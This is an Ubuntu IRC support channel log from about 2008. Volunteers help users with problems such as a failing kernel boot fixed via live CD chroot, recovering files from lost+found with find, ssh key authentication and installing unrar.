[15:55] <ioops2> soundray: i just have to connect the cables
[15:55] <timo> ﻿komputes hi, Its actually selected.
[15:56] <timo> i can tell it to send bu not receive. Theres no option to tel it to receive
[15:56] <komputes> timo: in the firs tab check "visable and connectable"
[15:57] <soundray> Pici: sorry, no idea what I did there
[15:57] <timo> ﻿komputes it is
[15:57] <timo> mobile sees the computer but transfer fails
[15:57] <ioops2> ok I am ready
[15:58] <erUSUL> soundray: sometimes my keyboard repeats keystrokes for no reason too XD
[15:58] <ioops2> soundray: what you want to know now?
[15:58] <ApOgEE-> where can i get that shiny ubuntu logo on usplash in svg?
[15:58] <Arthur__> hi there. Is there a channel for mythtv?
[15:59] <soundray> ioops2: what's the title of the first boot entry (the one that fails), and what's the title of the boot entry that works?
[15:59] <ApOgEE-> is there any?
[15:59] <ioops2> soundray: in grub ?
[15:59] <Pici> ApOgEE-: Have you looked here: https://wiki.ubuntu.com/Artwork/Official ?
[15:59] <soundray> ioops2: yes, in the grub boot menu
[16:01] <ioops2> soundray: i have 3 entries like, ubuntu 8,04,1, kernel 2,6,24-19 generic, the second entry is ubuntu 8,04,1, kernel 2,6,24-19-generic (recovery mode)
[16:01] <ioops2> soundray: and the last is for the memtest86+
[16:01] <ioops2> soundray: I have also the possibility to boot on windows xp pro
[16:01] <draganjovev_> I'm trying to install ubuntu server using USB drive. I've downloaded ISO and putted it on USB drive, installed extlinux and successfully got into ubuntu installer. However, one installer step is looking for CD-ROM with installation CD, but there is no optical drive attached to my server and I want to trick installer to look at USB storage device since there are installation files. Anyone knows how can I do that, please?
[16:01] <komputes> ApOgEE-: http://en.wikipedia.org/wiki/Image:Ubuntu_Logo.svg
[16:02] <Kira> hehehehehe
[16:02] <Kira> "sudo gedit" seg faults ever since I moved the virtual machine to another host. :S
[16:02] <ApOgEE-> komputes, i need that one with shiny effect
[16:03] <drbrown> Kira: running it from a live CD?
[16:03] <jussi01> !gksu | Kira
[16:03] <Pici> Kira: You should be using gksudo for graphical applictions, not sudo.
[16:03] <ioops2> soundray: you think I have bad options?
[16:03] <Kira> gksudo or sudo didn't make a difference
[16:04] <ApOgEE-> Pici, i have looked there but can't find that one with shiny effect
[16:04] <Kira> both methods cause seg faults
[16:04] <Kira> What tool do I use to check for file system consistency?
[16:05] <jussi01> fsck
[16:05] <Pici> Kira: fsck.
[16:05] <erUSUL> ioops2: so we can presume 2.6.24-18 worked for you ? *-19 is the one that fails?
[16:05] <Pici> Kira: sudo touch /forcefsck  will force a check on next boot.
[16:06] <ioops2> erUSUL: maybe i think also
[16:06] <ioops2> I think I can try
[16:06] <ioops2> in fact nothing work
[16:06] <ioops2> I don t know what to do
[16:08] <erUSUL> ioops2: then boot with the livecd and chroot to the ubuntu installation on the hd and do "sudo apt-get install linux-image-2.6.24-18-generic"
[16:08] <ioops2> ok
[16:08] <ioops2> i will try now
[16:09] <ApOgEE-> Pici, komputes, i need this version in svg http://imagebin.org/25804 is there any?
[16:09] <erUSUL> !grub | ioops2
[16:10] <komputes> ApOgEE-: not sure if i can even find that in svg, you best bet is to fina a gimp tutorial on making stuff shiny
[16:10] <erUSUL> ioops2: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows <<< here under "Overwriting the Windows bootloader" there are instructions on how to chroot to the hd installation
[16:11] <ApOgEE-> komputes, i have no problem in creating my own... just to confirm that i don't reinvent the wheel
[16:11] <erUSUL> ioops2: instead of this command "sudo grub-install --root-directory=/mnt/root /dev/hda" you have to "sudo apt-get  install linux-image-2.6.24-18-generic"
[16:12] <genius> anyone had success Adobe Photoshop CS3 with last wine?
[16:12] <komputes> ApOgEE-: funny how i was thinking the same thing
[16:12] <ioops2> erUSUL: I have to sudo grub after ou before your first advaise?
[16:12] <ioops2> advice
[16:13] <komputes> ApOgEE-: at most email the maintainer of the usplash package to see if he may have an SVG of it, but if he did the effects in bitmap, you're pooched
[16:13] <brutus> anyone using linuxdcpp can help me?
[16:13] <erUSUL> ioops2: no. ignore the grub commands
[16:13] <ioops2> ok
[16:13] <ApOgEE-> komputes, ok thanks... i'll create the svg version... :D
[16:13] <ioops2> the unbutu is starting already
[16:13] <ioops2> I chroot now
[16:14] <erUSUL> ioops2: read only the part under "Overwriting the Windows bootloader" section and ignore grub commands
[16:15] <soundray> ioops2: sorry, I had to work for a bit
[16:15] <Kira> Strange, gedit doesn't seg fault when I run it as a normal user.
[16:15] <Pici> ApOgEE-: You may want to try #ubuntu-artwork as well anyway.
[16:15] <soundray> erUSUL: why do you want to chroot?
[16:15] <ioops2> soundray: ok
[16:16] <erUSUL> ioops2: once you have the ubuntu partition mounted on /mnt/root do "chroot /mnt/root/" and issue the "apt-get install linux-image-2.6.24-18-generic" command
[16:16] <erUSUL> soundray: to install a working kernel into the hd install from the livecd
[16:16] <soundray> erUSUL: but there is a working kernel already...
[16:16] <erUSUL> soundray: but i am open to better easier options
[16:17] <scientus> x just froze up in vmware after hibeernating the computer (not the host) that had the vmware console open
[16:17] <erUSUL> soundray: if i understand ioops2  well his grub only list -19 version and that version wont boot
[16:17] <scientus> i can only acces via ssh
[16:17] <soundray> ioops2: what's the third option on your grub menu?
[16:18] <erUSUL> soundray: he said it is memtest (the fourth being windows xp)
[16:19] <erUSUL> ioops2: have you mounted the ubuntu partition ?
[16:19] <soundray> erUSUL: you're right, sorry
[16:19] <erUSUL> soundray: no problem multitasking has its limitations :P
[16:19]  * soundray is trying to do too many things at once
[16:20] <soundray> :)
[16:20] <ioops2> erUSUL: yes I try to update apt source.list but it seems it can connect to the archive server
[16:20]  * soundray has to work on his scheduler
[16:20] <legend2440> Kira: do update manager and synaptic open normally?
[16:20] <erUSUL> ioops2: you do not have net connection from the livecd?
[16:20] <ioops2> erUSUL: i have
[16:21] <ioops2> erUSUL: i can you google ...
[16:21] <ioops2> ok
[16:21] <magnus__> anal'
[16:21] <keewee> Hi. I just installed POSE (Palm OS Emulator) in my Ubuntu and I don't know how to start it... Anyone who knows?
[16:21] <erUSUL> ioops2: so "apt-get install linux-image-2.6.24-18-generic" fails ?
[16:21] <ioops2> erUSUL: i can use internet by live cd but not with chroot
[16:21] <brutus> how do i monitor my laptop temperature?
[16:21] <pdlnhrd> i am running ubuntu 8.04 amd_64... and i find when i am playing music through rythmbox that the music plays sparadotically... is there anything i can do to prevent this?
[16:22] <cojones_> I just recompiled the kernel and am having an error upon boot... FATAL: Could not load .... No such file or .... (but the file does exist, it's modules.dep)
[16:22] <ioops2> erUSUL: I made a error no ?
[16:22] <cojones_> after recompile, I have no wireless and I believe this is the cause
[16:23] <erUSUL> ioops2: then try something just dl the deb package from packages.ubuntu.com and copy it to somewere in /mnt/root/ (/mnt/root/root for example) then use "dpkg -i root/file.deb"
[16:23] <Kira> legend2440: update manager opens
[16:23] <erUSUL> ioops2: you can dl the package from here http://packages.ubuntu.com/hardy/linux-image-2.6.24-18-generic
[16:24] <Kira> it's synchronising the package lists now. no seg fault so far.
[16:24]  * soundray looks up sparadotically
[16:24] <keewee> Hi. I just installed POSE (Palm OS Emulator) in my Ubuntu and I don't know how to start it... Anyone who knows?
[16:24] <ryder> I like eggs
[16:24] <LjL> soundray: you *what*?
[16:24] <pdlnhrd> or plays intermediately
[16:24] <obunn> can somebody give me fstab entry for ntfs drives
[16:24] <Kira> The weird thing is that gksudo'ed gedit seg faults when I click on the "Open" button.
[16:24] <pdlnhrd> how about skips all the time
[16:24] <ryder> im ryder from gta sa
[16:24] <kane77> how do I specify password to ssh command? because I want to do something like "tar -cvjf - /path/to/backup | ssh user@backupmachine "cat > /home/backup.tar.bz2"" but it does not "wait" for me to enter password..
[16:25] <Gr33n8ud5> Unrar tool for Ubuntu 8.04 please and thank you?
[16:25] <LjL> keewee: you *are* aware you need a copy of PalmOS to use it?
[16:25] <soundray> LjL: good to see you. Just trying to understand pdlnhrd's problem
[16:25] <ryder> ha i laugh when ubuntu fails next to win xp
[16:25] <soundray> !rar | Gr33n8ud5
[16:25] <Gr33n8ud5> thanks soundray
[16:25] <ryder> ntfs is better than ext3
[16:25] <nomoa> hi, I can't list all process with ps -a with non root users, it's a new restriction to me how can I disable this feature?
[16:25] <pdlnhrd> ryder?  wtf?
[16:25] <LjL> ryder, got a support question for us?
[16:26] <LjL> pdlnhrd: ignore please
[16:26] <ryder> is there a offtipic room?
[16:26] <erUSUL> ryder: please take it to #ubuntu-offtopic
[16:26] <LjL> ryder: yes, #ubuntu-offtopic
[16:26] <Kira> ryder: whether ntfs is better than ext3 is already irrelevant
[16:26] <pdlnhrd> so any ideas on the music skipping issue with rythmnbox
[16:26] <Kira> because we all know that ZFS is better than both of them.
[16:26] <erUSUL> nomoa: that's security you can not disable it
[16:27] <pdlnhrd> filesystem choice is all about what your system is goign to be doing... not about what you like
[16:27] <nomoa> erUSUL, thanks so how can I enable my monitor user to list all processes (zabbix_user)
[16:27] <keewee> LjL: yes. I have a Palm and I want to open the emulator's main window, which lets me transfer the ROM from the Palm
[16:27] <Kira> (you can't go wrong when you have a file system that cannot be filled without using enough energy to evaporate every ocean on Earth)
[16:27] <erUSUL> nomoa: use sudo
[16:27] <Kira> :P
[16:28] <erUSUL> Kira: move to #opensolaris #solaris or #ubuntu-offtopic please
[16:28] <nomoa> erUSUL, is there a special group nor an acl file?
[16:28] <erUSUL> nomoa: admin group can sudo
[16:29] <soundray> kane77: you should enable key authentication for that kind of thing
[16:29] <kane77> soundray, how do I do that?
[16:29] <LjL> keewee: just plainly typing "pose" loads it up for me
[16:29] <nomoa> erUSUL, thanks I'll try to add zabbix user to admin
[16:29] <Steeps> hihi, dipping my feet into linux for the first time after trying a live cd, was hoping to build a file server which will eventually expand into router stuff, web server and printer server, but at the same time I'd like to use it for messengers etc so I don't have to leave another pc on. does ubuntu server allow this or do i want desktop and then add things like samba to that?
[16:30] <keewee> LjL: Thanks! LOL, I'm so new to this...
[16:30] <soundray> kane77: this page has a good explanation: http://pkeck.myweb.uga.edu/ssh/
[16:30] <erUSUL> nomoa: you can also make a sudoers rule to let zabbix run only ps with sudo. depends on how much you trust the user
[16:30] <kane77> soundray, thank you
[16:31] <erUSUL> Steeps: well for a start server has no gui so maybe for a begginer is better to install desktop and install server software
[16:31] <nomoa> erUSUL, in facts it's a monitoring process it needs to access the whole process list, and it can't be run as root for security reasons... I can't make zabbix to use sudo...
[16:32] <Steeps> thanks erUSUL, wasn't sure if server had a gui or not, will stick with desktop then  :)
[16:32] <erUSUL> nomoa: so zabbix is the user some monitoring app is running under ?
[16:32] <nomoa> erUSUL, yes zabbix_agentd is the process
[16:32] <erUSUL> Steeps: you can make viceversa install server version and add gui later ;P talk about flexibility
[16:35] <blake_> im using macchanger on ubuntu, it works great, but is their no command to restore the hardware mac addy?
[16:35] <blake_> im using macchanger on ubuntu, it works great, but is their no  command to restore the hardware mac addy?
[16:35] <blake_> shit, sorry
[16:35] <ubuntu> hello
[16:36] <ubuntu> hi, does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:37] <blake_> nobody is in here, not helping atleast
[16:37] <blake_> ahhh, free software, gotta love it
[16:37] <erUSUL> nomoa: maybe your app should use capabilities ? http://www.linuxjournal.com/article/5737
[16:37] <HymnToLife> helping? I'm just here for the lulz
[16:37] <blake_> "linux is only free if your time is worthless" i love that quote, so true
[16:37] <nomoa> erUSUL, there may be something in /etc/security/* I will check
[16:38] <nomoa> erUSUL, thanks
[16:38] <keewee> LjL: Did you ever try the Palm OS Simulator? I downloaded a Windows version which works well on Win, and I tried using Wine on Ubuntu but it starts really slow and strange
[16:38] <usser> blake_, stop whining and go get a refund
[16:38] <keewee> LjL: I could open POSE and it works ok, but I was just wondering why the Simulator didn't work...
[16:39] <LjL> keewee: not really, i've used it once or twice but *ages* ago
[16:40] <ioops3> erUSUL: re
[16:40] <erUSUL> ioops3: ?
[16:41] <ioops3> Yes i use a computer but the other person need to use
[16:41] <blazerrr> hi, does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:41] <ioops3> I am on the live cd
[16:42] <MaximLevitsky> can f-spot print on 4x6 paper?
[16:42] <Xtyn> can anyone explain to me why there needs to be a new release to integrate a certain program in a linux distro?
[16:42] <usser> blazerrr, ls
[16:42] <MaximLevitsky> I don't see a setting for that
[16:42] <usser> err
[16:42] <blazerrr> usser, how?
[16:42] <LjL> Xtyn: because that's how the Ubuntu release schedule works. once a release is out, stuff isn't added or changed (aside from fixing bugs).
[16:42] <usser> blazerrr, sorry wrong window. what was your question?
[16:42] <erUSUL> Xtyn: www.getdeb.net and backports repo show that's not allways the case
[16:43] <blazerrr> usser does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:43] <usser> blazerrr, oh try cp -R dir1/ newname/
[16:43] <erUSUL> ioops3: have you managed to install the older kernel ?
[16:43] <LjL> Xtyn: there isn't a compelling technical reason for that, but it helps ensure that things remain stable, and lets developers concentrate on making them so. other distributions don't necessarily work this way.
[16:43] <blazerrr> usser, but i want it to copy just the folders with contents
[16:44] <usser> blazerrr, that will do it: cp -R oldfolder/ newfolder/
[16:44] <blazerrr> usser, and also i want it to copy just folders not any file
[16:45] <edgeoftherainbow> blazerrr: you need to use the 'find' command then
[16:45] <ryder> is there a wubi IRC?
[16:45] <edgeoftherainbow> ryder: check their website, but not last time I checked
[16:45] <blazerrr> usser, i mean... to copy the folders with content, and not to copy any file that is without folder
[16:45] <usser> blazerrr, oh u want to just copy directory structure?
[16:45] <danielTEXAS> hi
[16:45] <ryder> is it possible to use jfs on wubi?
[16:46] <usser> blazerrr, i see yes you have to use find command. I dont really know how to use it myself so i cant help u with that
[16:46] <danielTEXAS> I need help, im usung ubuntu 7.1 when i insert my pcmia wireless b card, ubuntu locks up
[16:46] <blazerrr> usser,edgeoftherainbow, no. I just recovered a partition... and all my files have been moved to lost+found directory
[16:46] <danielTEXAS> any suggestions?
[16:46] <blazerrr> usser,edgeoftherainbow, so what i want to do is just to copy the folders that really has content
[16:46] <ubuntu> hi every one, this is the first time I am using ubuntu, and I think that is great
[16:46] <ryder> can wubi damage my windows install/
[16:47] <keewee> LjL: ok, thanks and goodbye
[16:47] <shinbo> Hey, quick question (maybe should be in #kubuntu irc) but I kinda messed up my bootloader and it deleted windows, and won't load ubuntu... if I install kubuntu without formatting will it delete my files on ubuntu?
[16:47] <onthefence9281> ryder: it's designed not to
[16:47] <edgeoftherainbow> blazerrr: you need to write some sort of small shell script then....
[16:47] <usser> blazerrr, hang on
[16:47] <ryder> does it still use NTFS?
[16:47] <blazerrr> usser,edgeoftherainbow, inside lost+found is a bunch of crap... so i want to make sure to just copy FOLDERS and with size different than cedro
[16:47] <blazerrr> cero
[16:48] <onthefence9281> blazerrr: you mean zero? i'm guessing you are spanish?
[16:48] <ubuntu> I have an image of one of my pcs with an arc extension, I want to use qemu to run it, but it does not seem to recognise it... is there any other virtual machine software on ubuntu to use that knows this extension?
[16:48] <edgeoftherainbow> blazerrr: it's probably easier to just copy everything and then go in and delete the directories with nothing in them.  You can use 'find' for that
[16:48] <blazerrr> usser,edgeoftherainbow, inside lost+found there is simbolink links, files and folders..... i just want to copy the folders!!!
[16:48] <usser> blazerrr, hang on
[16:48] <erUSUL> !virtualizers > ubuntu
[16:48] <blazerrr> onthefence9281, yeah sorry =)
[16:48] <onthefence9281> blazerrr: it's ok i'm from miami, you learn to catch spanglish
[16:49] <blazerrr> onthefence9281 hahaha lol
[16:49] <blazerrr> edgeoftherainbow mmmm let me see
[16:49] <blazerrr> usser, ok =)
[16:49] <danielTEXAS> Can someone please help me figure out why when i insert my wireless card, why does ubuntu lock up?
[16:49] <cabralxinhu> I want ubuntu.br
[16:49] <edgeoftherainbow> cabralxinhu: /join #ubuntu-br
[16:50] <pdm_> why my battery icon tell me always that the charge is 0%
[16:50] <cabralxinhu> thank...
[16:50] <ioops> so sorry
[16:50] <Zaiden> How do I install flash player in 64bit ubuntu? THe download firefox suggests doesn't work
[16:50] <soundray> danielTEXAS: run 'tail -f /var/log/syslog' in a terminal before you insert and see if any errors are logged
[16:50] <usser> blazerrr, i'll write a simple script give me some time
[16:50] <usCan> :D
[16:50] <usCan> a.q
[16:50] <Nematocyst> my network isn't starting completely anymore.  if i type 'sudo ifup bridge0', everything works.  what can i do to have it done automatically
[16:50] <Sylphid|work> danielTEXAS, my guess is that the module ubuntu tries to load is crashing the system and needs to be blacklisted
[16:51] <usCan> Fuck nebukan
[16:51] <usCan> :D
[16:51] <edgeoftherainbow> Zaiden: install flashplugin-nonfree after ensuring you have enabled the -updates repository
[16:51] <usCan> :D
[16:51] <FloodBot1> usCan: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[16:51] <blazerrr> usser, all right thank you very much, im also reading find man page
[16:51] <usCan> :(
[16:51] <ioops> soundray: how can i copy the kernel from the live cd to my hard disk ?
[16:51] <soundray> danielTEXAS: when it's frozen, try to do a clean reboot by holding down Alt+PrintScreen and typing R E I S U B
[16:51] <danielTEXAS> how do i use new module?
[16:51] <Zaiden> Thank you edge
[16:51] <Sylphid|work> soundray, is magic sysreq enables in stock ubuntu??
[16:52] <pdm_> how it advise me that the battery charge is always 0% ???
[16:52] <monostone> I somehow messed up the keymapping for my logitech USB G11 keyboard media keys. Xorg.0.log is beggining to report a "(II) Unreported Prefix0 scancode: 0x22" message, i investigated a bit and saw that the hex codes the messages print are the keydown scancode of the media keys as reported via "showkey -s". BUT xev does NOT detect the media keys anymore (no keycode, keysym, nothing), on the other hand in gnome keyboard shortcuts the
[16:52] <monostone> keys ARE detected, also running "lshal -m" does detect the keysym for all the media keys. Rythymbox continues to have the media keys working (I suppose because it uses its own mapping settings), but totem has lost them. Any pointers as to what the problem is? could this be a kernel keymap issue? or since the message appears in my Xorg.0.log, is it a X issue?
[16:52] <danielTEXAS> soundray
[16:52] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[16:52] <usser> blazerrr, bah actually script is not the right solution since it has to go recursively thru directoies etc use find
[16:52] <danielTEXAS> soundray, im using a linksys wireless b card, it works with ubuntu 8, but when i insert it into 7.1 it locks up
[16:52] <erUSUL> blazerrr: the list of dirs with size as reported by du greater than 0
[16:52] <soundray> Sylphid|work: yes
[16:52] <soundray> danielTEXAS: did you read what I suggested?
[16:53] <danielTEXAS> soundray, is there a way to choose a different module for it?
[16:53] <blazerrr> erUSUL, usser allright guys im going to try this script right now , hold on
[16:53] <soundray> danielTEXAS: you are not approaching the problem in the right way
[16:53] <blazerrr> usser, so what is the right solution?
[16:54] <pdlnhrd> blazerr:  why not delete all the empty directories than copy over the good stuff?
[16:54] <usser> blazerrr, the find command that erUSUL gave u looks right but its missing an exec part where it actually copies the directories
[16:54] <edgeoftherainbow> pdlnhrd: I would copy first in case the deleting fucks up and deletes too much
[16:54] <bazhang> edgeoftherainbow, no cursing
[16:55] <soundray> !language | edgeoftherainbow
[16:55] <edgeoftherainbow> k
[16:55] <cuixin> 大家好阿
[16:55] <blazerrr> usser, erUSUL is running guys...
[16:55] <pdlnhrd> but deleting them is so easy  "find . -type d -empty -depth | xargs rmdir -"
[16:55] <tamer_> is it safe to update to ubuntu 8.10 now because i am doing that?
[16:55] <bazhang> !cn | cuixin
[16:55] <soundray> tamer_: no
[16:55] <pdlnhrd> make a backup of lost+found and try it out...
[16:55] <edgeoftherainbow> pdlnhrd: well you can still run it after copying anyway
[16:56] <soundray> !intrepid | tamer_
[16:56] <pdlnhrd> just copy lost and found to new location and delete empty directories... if it doesn't work you still have the originals
[16:56] <cuixin> linux没有声音啊？
[16:56] <edgeoftherainbow> pdlnhrd: why the '-' at the end of your command?   What does that do?
[16:56] <soundray> !pm > tamer_
[16:56] <bazhang> cuixin, /join #ubuntu-cn
[16:56] <unfo> !cn | cuixin
[16:56] <bazhang> cuixin, here is english
[16:56] <ioops> soundray: do you have time ?
[16:57] <LyBra> hello @ all
[16:57] <pdlnhrd> edgeoftherainbow:  the argument
[16:57] <tamer_> so why it is not safe ?
[16:57] <emorris> Hi, when I run a graphical app as root (eg. synaptic), it shows up in the blocky default gnome theme. Is there any way to make this use the user's setting instead? I have tried running gnome-appearance-properties as root, but this did not help. Any ideas?
[16:57] <soundray> !intrepid > tamer_
[16:57] <bazhang> tamer_, wrong channel for that
[16:57] <pdlnhrd> or you can do find . -depth -empty -type d -exec rmdir {} \;
[16:57] <soundray> ioops: what can I do for you?
[16:57] <blazerrr> usser, erUSUL all right!!! the folders are being listed!, is there any way to see the column size?? just in case to be sure about the size?? because just folder name is being listed
[16:57] <erUSUL> emorris: use gksudo not sudo
[16:57] <fremc> any turkish help me ?
[16:58] <DRebellion> !turkish | fremc
[16:58] <soundray> !tr | fremc
[16:58] <erUSUL> blazerrr: omit the awk command
[16:58] <edgeoftherainbow> pdlnhrd: is that undocumented?  It does not seem to be in the man
[16:58] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s
[16:58] <emorris> erUSUL: I am...
[16:58] <ioops> soundray: I have dowloaded the kernel 2-6-24-18 and I would like to copy on the hard disk for installation
[16:58] <LyBra> +.+
[16:58] <blazerrr> erUSUL but that will list folders with zero size?
[16:58] <ubuntu> erUSUL: sorry, I did not get you....what do you mean?
[16:58] <pdlnhrd> seriously... just copy the whole lost+found to the new location and run find . -depth -empty -type d -exec rmdir {} \;
[16:58] <soundray> ioops: are you on the live CD right now?
[16:59] <edgeoftherainbow> emorris: you can symlink the theme stuff in your /root to the one in your ~
[16:59] <ioops> soundray: yes
[16:59] <cuixin> Where are you from?
[16:59] <tamer_> i did it automatic update for interpid and i want to stop that now but i didn't backup my sources
[16:59] <fremc> anyone help me about my xfi sound card , am new to ubuntu
[16:59] <ioops> i have to computer, one for irc and one is my computer with initramfs pb
[16:59] <erUSUL> blazerrr: you are right ... the original command should list the size
[17:00] <emorris> edgeoftherainbow: ok, which subdir(s) is it?
[17:00] <tamer_> i want to get back my sources and stop my update
[17:00] <soundray> tamer_: you are asking this in the wrong channel. Read the private message you received from ubottu
[17:00] <erUSUL> emorris: here it uses my user's theme ...
[17:01] <soundray> tamer_: don't try to downgrade from intrepid -- it's going to break more than you can rescue in this way
[17:01]  * Marfi waves to all of #ubuntu
[17:01] <fremc> give the new user (me) a hand !!!
[17:01] <erUSUL> !virtualizers | ubuntu
[17:01] <soundray> ioops: where did you save the kernel deb?
[17:01] <robert__> Hi there
[17:01]  * Marfi claps for fremc 
[17:02] <ioops> on the live cd
[17:02] <emorris> erUSUL: yeah, that's what i thought it did by default
[17:02] <Marfi> erUSUL, is there one for emulating mac apps?
[17:02] <fremc> i need help for my sound card
[17:02] <erUSUL> Marfi: no
[17:02] <ioops> soundray: do you think the way i am taking is good?
[17:02] <Marfi> erUSUL, thats what i thought, ty. =)
[17:02] <robert__> anyone know any good guide to make a Canon MP220 printer to start working?
[17:02] <soundray> ioops: yes
[17:03] <ioops> soundray: ok
[17:03] <soundray> ioops: where did you mount your root filesystem?
[17:03] <fremc> :(
[17:03] <pdlnhrd> robert_: what have you tried so far?   I find the System -> Administrator -> Printing works pretty well?   over usb? IP?
[17:03] <angusthefuzz> fremc: I have a working x-fi card
[17:03] <ioops> soundray: in /media
[17:03] <angusthefuzz> fremc: I used the tutorial on the ubuntu forum, do you need the link?
[17:03] <soundray> ioops: what mount command did you run?
[17:04] <fremc> i tried ,i wrote every code
[17:04] <corinth> I'm having trouble getting Cheese (or any other program) to recognize my Logitech Quickcam Ultra Vision SE. Help?
[17:04] <jedimind> how do i install a font? i have a ttf font but cant figure out how to start using it ?
[17:04] <fremc> but i am new and do not understand
[17:04] <ioops> soundray: i have only clic on the disk icon on the ubuntu and after word i made chroot
[17:05] <angusthefuzz> fremc: does osstest give you any sound?
[17:05] <fremc> no
[17:05] <angusthefuzz> fremc: did you follow the oss instructions?
[17:05] <amanulla> in oreder to op-en a .rar file in ubuntu 8 what do we need/
[17:05] <fremc> and i have no idea that is working or nor
[17:05] <amanulla> ho to open?
[17:05] <soundray> ioops: okay, what's the command you used for chroot?
[17:05] <soundray> !rar | amanulla
[17:05] <ioops> soundray: only chroot /media/disk
[17:05] <johnmatrix> Hi, I am having really odd behaviour with firefox and opera.. i tried to login to facebook in opera and at the bottom it says completed request to www.google.com.au ... and it hangs there. if i go to google.com nothing happens. other sites appear to be working, and I am getting the same behaviour in firefox
[17:05] <Keule> hi there
[17:06] <amanulla> i need software to open rar file
[17:06] <Keule> can someone tell me the channel for intrepid?
[17:06] <blazerrr> erUSUL, thank you very much! how could i do now to copy what the find /lost+found/ -type d | xargs du -s | awk '$1 > 0' script gives me ?
[17:06] <soundray> ioops: open another terminal please
[17:06] <amanulla> can any one pls/
[17:06] <co_krj_diSUBANG> urrrrrrrju
[17:06] <ryder> does wubi use windows drivers for devices?
[17:06] <ioops> soundray: already did
[17:06] <robert__> #ubuntu-se
[17:06] <shadowhywind> hay all i have an ext3 partition used for data, i let the installer handle the mounting, and now i can't write to the partition without root priv, the mount options are rw,relatime any ideas?
[17:06] <soundray> amanulla: read what ubottu wrote above
[17:06] <soundray> ioops: is the kernel deb on the desktop?
[17:06] <ioops> soundray: yes
[17:07] <mizipzor> whats the gnome equivalent of konsole?
[17:07] <Keule> i have an error when booting the newest kernel: Booting paravirtualized kernel on bare hardware
[17:07] <johnmatrix> terminal?
[17:07] <fremc> i think i need someone who has to teach me all this things.İ think i will not make it.i think i should go back to windows xp,
[17:07] <soundray> ioops: in the new terminal, run 'cp ~/Desktop/linux*.deb /media/disk/tmp'. Any error messages?
[17:07] <blazerrr> shadowhywind, mmm issue the command "mount" alone, look the attributes of the ext3 partition and compare with the others partitions, after that you could modify fstab
[17:08] <pdlnhrd> ﻿amanulla:   you could also go to System -> Administrator -> Synaptic Package Manger and search for rar... it will list programs that will work
[17:08] <shadowhywind> blazerrr: thats the thing, they are the same permissions as my home partition
[17:08] <soundray> fremc: getting an XFi card to work is not a beginners project. Get another sound card, or use Windows when you need sound.
[17:09] <ryder> wats a good ide in linux for C and c#?
[17:09] <ioops> soundray: no error message
[17:09] <ioops> soundray: I just have to dpkg -i now _
[17:09] <ioops> ?
[17:09] <soundray> ioops: okay. In the chroot, try 'dpkg -i /tmp/linux*.deb'
[17:09] <shadowhywind> blaserr
[17:09] <shadowhywind> /dev/sda6 on /home type ext3 (rw,relatime)
[17:09] <shadowhywind> /dev/sda3 on /media/nayru type ext3 (rw,relatime)
[17:09] <shadowhywind> *dang it... *
[17:09] <eddievader> I have a problem with gdm, I installed ubuntu on a laptop, everything works fine, but when I change the gdm login screen in login window and restart it keeps going back to the default screen.  I have two other ubuntu pc's that dont have this problem.
[17:09] <FloodBot1> shadowhywind: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[17:09] <shadowhywind> sorry about that, I didn't want to send that
[17:10] <fbt> hello, I have several computers with the same wifi card working on ndiswrapper, but one of the computers detects "Unknown device" insted of "Realtek (...) Wireless LAN Controller" and ndiswrapper doesn't detect it
[17:10] <amanulla> pdlnhrd: ihave searched but i found many
[17:10] <blazerrr> shadowhywind all right hold on
[17:10] <pdlnhrd> amanulla:  so your question is which is the best?
[17:10] <ioops> soundray: I just dl one paquage i need more ?
[17:10] <amanulla> in xp i use winrar like that any name in ubuntu to search to unzip
[17:10] <amanulla> any one
[17:10] <abby87> amanulla: urar or unrar i guess
[17:11] <soundray> ioops: see if the dpkg -i command reports any errors
[17:11] <eddievader> amanulla, rar and unrar install those and you can extract in GUI
[17:11] <Pici> amanulla: the unrar package will allow the gnome file archiver to unrar rar files.
[17:11] <ioops> soundray: ok I am waiting ...
[17:11] <amanulla> how to insatll from terminal
[17:11] <amanulla> any command?
[17:11] <Pici> amanulla: sudo apt-get install unrar
[17:11] <eddievader> sudo apt-get install unrar
[17:11] <abby87> amanulla: sudo apt-get install unrar
[17:11] <apj__> hello
[17:11] <skeletor> Hey all, new to linux, just installed ubuntu and my screen is stuck on 800x600 and there isnt an option to increase it, anyone got any ideas?
[17:12] <abby87> i was trying tab completion :P
[17:12] <abby87> apj__: hello
[17:12] <ioops> soundray: I have one error, during the installation he didn t find the grub directory
[17:12] <eddievader> I have a problem with gdm, when I change the gdm login screen in login window and restart it keeps going back to the default screen.
[17:12] <ioops> soundray: he thinks I have no grub
[17:12] <fremc> any "brave" one help me ?
[17:13] <soundray> ioops: in the chroot, does 'ls /boot/grub/' show any files?
[17:13] <amanulla> thanks for all i have got it
[17:13] <abby87> amanulla: great enjoy  ;)
[17:13] <ioops> soundray: I have just ckecked and no grub in /boot
[17:13] <ioops> just kernels
[17:14] <skeletor> Can anyone help me out with my screen size
[17:14] <fremc> is there a channel for newbies
[17:14] <fremc> is there a channel for newbies
[17:14] <abby87> fremc: this is the place
[17:14] <blazerrr> shadowhywind /dev/sdc1 on /media/PublicZone type vfat (rw,nosuid,nodev,shortname=mixed,uid=999,utf8,umask=077)
[17:14] <fremc> so you can help me abby87
[17:14] <lovenkraft> skeletor:> ubuntu chose a generic monitor for me. I chose one that supported 1024x768(my laptop)
[17:14] <eddievader> fremc, just ask your question in the channel
[17:14] <abby87> fremc: pls share your probs (ofcourse related to ubuntu)
[17:15] <eddievader> if someone can help they will
[17:15] <ioops> soundray: maybe my problem with initramfs came from because i don t have grub in /boot but somewhere else
[17:15] <ioops> soundray: but I don t know where ...
[17:15] <fremc> ok guys i have xfi soundcard
[17:15] <abby87> fremc: i'll try my best
[17:15] <fremc> i am new
[17:15] <fremc> what can i do
[17:15] <soundray> ioops: I don't think so
[17:15] <shadowhywind> blazerrr: i think i fugred it out, It didn't change the owner of the folder
[17:15] <fremc> i entered tons oof codes
[17:15] <fremc> but could not make it
[17:15] <eddievader> frem checked the forums?
[17:15] <speener> can anyone help me set up mysql?
[17:15] <fremc> yes
